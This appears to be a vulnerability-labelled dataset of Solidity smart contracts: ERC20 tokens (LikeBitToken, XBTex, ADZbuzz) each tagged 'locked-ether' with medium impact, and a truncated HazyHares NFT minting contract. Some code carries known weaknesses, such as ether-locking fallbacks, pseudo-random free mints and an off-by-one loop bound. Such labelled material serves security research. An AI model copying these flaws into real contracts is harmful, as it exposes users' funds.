modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract LikeBitToken is CappedToken, PausableToken {
string public constant name = "LikeBitToken"; // solium-disable-line uppercase
string public constant symbol = "LBT"; // solium-disable-line uppercase
uint8 public constant decimals = 18; // solium-disable-line uppercase
uint256 public constant INITIAL_SUPPLY = 0.49 * 30 * 10000 * 10000 * (10 ** uint256(decimals));
uint256 public constant MAX_SUPPLY = 30 * 10000 * 10000 * (10 ** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() CappedToken(MAX_SUPPLY) public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint whenNotPaused public returns (bool) {
return super.mint(_to, _amount);
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint whenNotPaused public returns (bool) {
return super.finishMinting();
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner whenNotPaused public {
super.transferOwnership(newOwner);
}
/**
* The fallback function.
*/
function() payable public {
revert();
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'XBTex' token contract
//
// Deployed to : 0xFF36D35192A2DAF4b16ca7d057F95e1436813434
// Symbol : BEX
// Name : XBTex Token
// Total supply: 200000000
// Decimals : 18
//
// Enjoy.
//
// (c) by XBTex.com
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract XBTexToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function XBTexToken() public {
symbol = "BEX";
name = "XBTex Token";
decimals = 18;
_totalSupply = 200000000000000000000000000;
balances[0xFF36D35192A2DAF4b16ca7d057F95e1436813434] = _totalSupply;
emit Transfer(address(0), 0xFF36D35192A2DAF4b16ca7d057F95e1436813434, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'ACT340921' token contract
//
// Deployed to : 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187
// Symbol : ACT340921
// Name : ADZbuzz Explosm.net Community Token
// Total supply: 2000000
// Decimals : 8
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// (c) by Darwin Jayme with ADZbuzz Ltd. UK (adzbuzz.com) 2018.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract ADZbuzzCommunityToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function ADZbuzzCommunityToken() public {
symbol = "ACT340921";
name = "ADZbuzz Explosm.net Community Token";
decimals = 8;
_totalSupply = 200000000000000;
balances[0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187] = _totalSupply;
emit Transfer(address(0), 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ERC721.sol";
contract HazyHares is ERC721 {
event Mint(address indexed from, uint256 indexed tokenId);
modifier callerIsUser() {
require(tx.origin == msg.sender, "The caller is another contract");
_;
}
modifier onlyCollaborator() {
bool isCollaborator = false;
for (uint256 i; i < collaborators.length; i++) {
if (collaborators[i].addr == msg.sender) {
isCollaborator = true;
break;
}
}
require(
owner() == _msgSender() || isCollaborator,
"Ownable: caller is not the owner nor a collaborator"
);
_;
}
modifier claimStarted() {
require(
startClaimDate != 0 && startClaimDate <= block.timestamp,
"You are too early"
);
_;
}
modifier presaleStarted() {
require(
startPresaleDate != 0 && startPresaleDate <= block.timestamp,
"Presale not started yet"
);
_;
}
struct Collaborators {
address addr;
uint256 cut;
}
uint256 private startClaimDate = 1644699600;
uint256 private startPresaleDate = 1644688800;
uint256 private mintPrice = 69000000000000000;
uint256 private presaleMintPrice = 69000000000000000;
uint256 private totalTokens = 10000;
uint256 private totalMintedTokens = 0;
uint256 private maxHarePerTransactionDuringPresale = 20;
uint256 private maxHarePerTransaction = 20;
uint128 private basisPoints = 10000;
string private baseURI =
"https://hazyhares.s3.amazonaws.com/";
uint256 public giveawayCount = 50;
mapping(address => uint256) public claimedHarePerWallet;
uint16[] availableHares;
Collaborators[] private collaborators;
mapping (address => bool) whitelistedAddresses;
uint256 private firstFreeProbabilityGenerator = 10;
uint256 private secondFreeProbabilityGenerator = 13;
uint256 private thirdFreeProbabilityGenerator = 20;
uint256 private fourthFreeProbabilityGenerator = 40;
uint256 private firstProbabilitySwitch = 2000;
uint256 private secondProbabilitySwitch = 4000;
uint256 private thirdProbabilitySwitch = 6000;
uint256 private fourthProbabilitySwitch = 8000;
uint256 private targetValue = 7;
constructor() ERC721("HazyHaresNFT", "HZH") {}
// ONLY OWNER
/**
* Sets the collaborators of the project with their cuts
*/
function addCollaborators(Collaborators[] memory _collaborators)
external
onlyOwner
{
require(collaborators.length == 0, "Collaborators were already set");
uint128 totalCut;
for (uint256 i; i < _collaborators.length; i++) {
collaborators.push(_collaborators[i]);
totalCut += uint128(_collaborators[i].cut);
}
require(totalCut == basisPoints, "Total cut does not add to 100%");
}
// ONLY COLLABORATORS
/**
* @dev Allows to withdraw the Ether in the contract and split it among the collaborators
*/
function withdraw() external onlyCollaborator {
uint256 totalBalance = address(this).balance;
for (uint256 i; i < collaborators.length; i++) {
payable(collaborators[i].addr).transfer(
mulScale(totalBalance, collaborators[i].cut, basisPoints)
);
}
}
/**
* @dev Sets the base URI for the API that provides the NFT data.
*/
function setBaseTokenURI(string memory _uri) external onlyCollaborator {
baseURI = _uri;
}
/**
* @dev Sets the claim price for each hare in public sale
*/
function setMintPrice(uint256 _mintPrice) external onlyCollaborator {
mintPrice = _mintPrice;
}
/**
* @dev Sets the claim price for each hare in presale
*/
function setPresaleMintPrice(uint256 _presaleMintPrice) external onlyCollaborator {
presaleMintPrice = _presaleMintPrice;
}
/**
* @dev Sets the giveaway count
*/
function setGiveawayCount(uint256 _giveawayCount) external onlyCollaborator {
giveawayCount = _giveawayCount;
}
/**
* @dev Sets the firstFreeProbabilityGenerator
*/
function setFirstFreeProbabilityGenerator(uint256 _firstFreeProbabilityGenerator) external onlyCollaborator {
firstFreeProbabilityGenerator = _firstFreeProbabilityGenerator;
}
/**
* @dev Sets the secondFreeProbabilityGenerator
*/
function setSecondFreeProbabilityGenerator(uint256 _secondFreeProbabilityGenerator) external onlyCollaborator {
secondFreeProbabilityGenerator = _secondFreeProbabilityGenerator;
}
/**
* @dev Sets the thirdFreeProbabilityGenerator
*/
function setThirdFreeProbabilityGenerator(uint256 _thirdFreeProbabilityGenerator) external onlyCollaborator {
thirdFreeProbabilityGenerator = _thirdFreeProbabilityGenerator;
}
/**
* @dev Sets the fourthFreeProbabilityGenerator
*/
function setFourthFreeProbabilityGenerator(uint256 _fourthFreeProbabilityGenerator) external onlyCollaborator {
fourthFreeProbabilityGenerator = _fourthFreeProbabilityGenerator;
}
/**
* @dev Populates the available hares
*/
function addAvailableHares(uint16 from, uint16 to)
external
onlyCollaborator
{
for (uint16 i = from; i <= to; i++) {
availableHares.push(i);
}
}
/**
* @dev Removes a chosen hare from the available list, only a utility function
*/
function removeHareFromAvailableHares(uint16 tokenId)
external
onlyCollaborator
{
for (uint16 i; i <= availableHares.length; i++) {
if (availableHares[i] != tokenId) {
continue;
}
availableHares[i] = availableHares[availableHares.length - 1];
availableHares.pop();
break;
}
}
/**
* @dev Sets the date that users can start claiming hares
*/
function setStartClaimDate(uint256 _startClaimDate)
external
onlyCollaborator
{
startClaimDate = _startClaimDate;
}
/**
* @dev Sets the date that users can start claiming hares for presale
*/
function setStartPresaleDate(uint256 _startPresaleDate)
external
onlyCollaborator
{
startPresaleDate = _startPresaleDate;
}
/**
* @dev Checks if a hare is in the available list
*/
function isHareAvailable(uint16 tokenId)
external
view
onlyCollaborator
returns (bool)
{
for (uint16 i; i < availableHares.length; i++) {
if (availableHares[i] == tokenId) {
return true;
}
}
return false;
}
/**
* @dev Give random hares to the provided address
*/
function reserveGiveawayHares(address _address)
external
onlyCollaborator
{
require(availableHares.length >= giveawayCount, "No hares left to be claimed");
totalMintedTokens += giveawayCount;
uint256[] memory tokenIds = new uint256[](giveawayCount);
for (uint256 i; i < giveawayCount; i++) {
tokenIds[i] = getHareToBeClaimed();
}
_batchMint(_address, tokenIds);
giveawayCount = 0;
}
/**
* @dev Whitelist addresses
*/
function whitelistAddress (address[] memory users) external onlyCollaborator {
for (uint i = 0; i < users.length; i++) {
whitelistedAddresses[users[i]] = true;
}
}
/**
* @dev Claim up to 20 hares at once
*/
function claimHares(uint256 quantity)
external
payable
callerIsUser
claimStarted
returns (uint256[] memory)
{
require(
msg.value >= mintPrice * quantity,
"Not enough Ether to claim the Hares"
);
require(quantity <= maxHarePerTransaction, "You can only claim 20 Hares per transaction");
require(availableHares.length >= quantity, "Not enough hares left");
require(availableHares.length - giveawayCount >= quantity, "No Hares left to be claimed");
// means that available hares is between 10k and 8k
if (availableHares.length <= 10000 && availableHares.length > 10000 - firstProbabilitySwitch) {
uint256 randomNumber = _random(firstFreeProbabilityGenerator);
if (randomNumber == targetValue) {
quantity = quantity + 1;
}
}
// means that available hares is between 8k and 6k
else if (availableHares.length <= 10000 - firstProbabilitySwitch && availableHares.length > 10000 - secondProbabilitySwitch) {
uint256 randomNumber = _random(secondFreeProbabilityGenerator);
if (randomNumber == targetValue) {
quantity = quantity + 1;
}
}
// means that available hares is between 6k and 4k
else if (availableHares.length <= 10000 - secondProbabilitySwitch && availableHares.length > 10000 - thirdProbabilitySwitch) {
uint256 randomNumber = _random(thirdFreeProbabilityGenerator);
if (randomNumber == targetValue) {
quantity = quantity + 1;
}
}
// means that available hares is between 4k and 2k
else if (availableHares.length <= 10000 - thirdProbabilitySwitch && availableHares.length > 10000 - fourthProbabilitySwitch) {
uint256 randomNumber = _random(fourthFreeProbabilityGenerator);
if (randomNumber == targetValue) {
quantity = quantity + 1;
}
}
uint256[] memory tokenIds = new uint256[](quantity);
claimedHarePerWallet[msg.sender] += quantity;
totalMintedTokens += quantity;
for (uint256 i; i < quantity; i++) {
tokenIds[i] = getHareToBeClaimed();
}
_batchMint(msg.sender, tokenIds);
return tokenIds;
}
/**
* @dev Claim up to 20 hares at once in presale
*/
function presaleMintHares(uint256 quantity)
external
payable
callerIsUser
presaleStarted
returns (uint256[] memory)
{
require(
msg.value >= presaleMintPrice * quantity,
"Not enough Ether to claim the Hares"
);
require(quantity <= maxHarePerTransactionDuringPresale, "You can only claim 20 hares per transaction");
require(availableHares.length >= quantity, "Not enough hares left");
require(availableHares.length - giveawayCount >= quantity, "No Hares left to be claimed");
// means that available hares is between 10k and 8k
if (availableHares.length <= 10000 && availableHares.length > 10000 - firstProbabilitySwitch) {
uint256 randomNumber = _random(firstFreeProbabilityGenerator);
if (randomNumber == targetValue) {
quantity = quantity + 1;
}
}
// means that available hares is between 8k and 6k
else if (availableHares.length <= 10000 - firstProbabilitySwitch && availableHares.length > 10000 - secondProbabilitySwitch) {
uint256 randomNumber = _random(secondFreeProbabilityGenerator);
if (randomNumber == targetValue) {
quantity = quantity + 1;
}
}
// means that available hares is between 6k and 4k
else if (availableHares.length <= 10000 - secondProbabilitySwitch && availableHares.length > 10000 - thirdProbabilitySwitch) {
uint256 randomNumber = _random(thirdFreeProbabilityGenerator);
if (randomNumber == targetValue) {
quantity = quantity + 1;
}
}
// means that available hares is between 4k and 2k
else if (availableHares.length <= 10000 - thirdProbabilitySwitch && availableHares.length > 10000 - fourthProbabilitySwitch) {
uint256 randomNumber = _random(fourthFreeProbabilityGenerator);
if (randomNumber == targetValue) {
quantity = quantity + 1;
}
}
uint256[] memory tokenIds = new uint256[](quantity);
claimedHarePerWallet[msg.sender] += quantity;
totalMintedTokens += quantity;
for (uint256 i; i < quantity; i++) {
tokenIds[i] = getHareToBeClaimed();
}
_batchMint(msg.sender, tokenIds);
return tokenIds;
}
/**
* @dev Returns the tokenId by index
*/
function tokenByIndex(uint256 tokenId) external view returns (uint256) {
require(
_exists(tokenId),
"ERC721: operator query for nonexistent token"
);
return tokenId;
}
/**
* @dev Returns the base URI for the tokens API.
*/
function baseTokenURI() external view returns (string memory) {
return baseURI;
}
/**
* @dev Returns how many Hares are still available to be claimed
*/
function getAvailableHares() external view returns (uint256) {
return availableHares.length;
}
/**
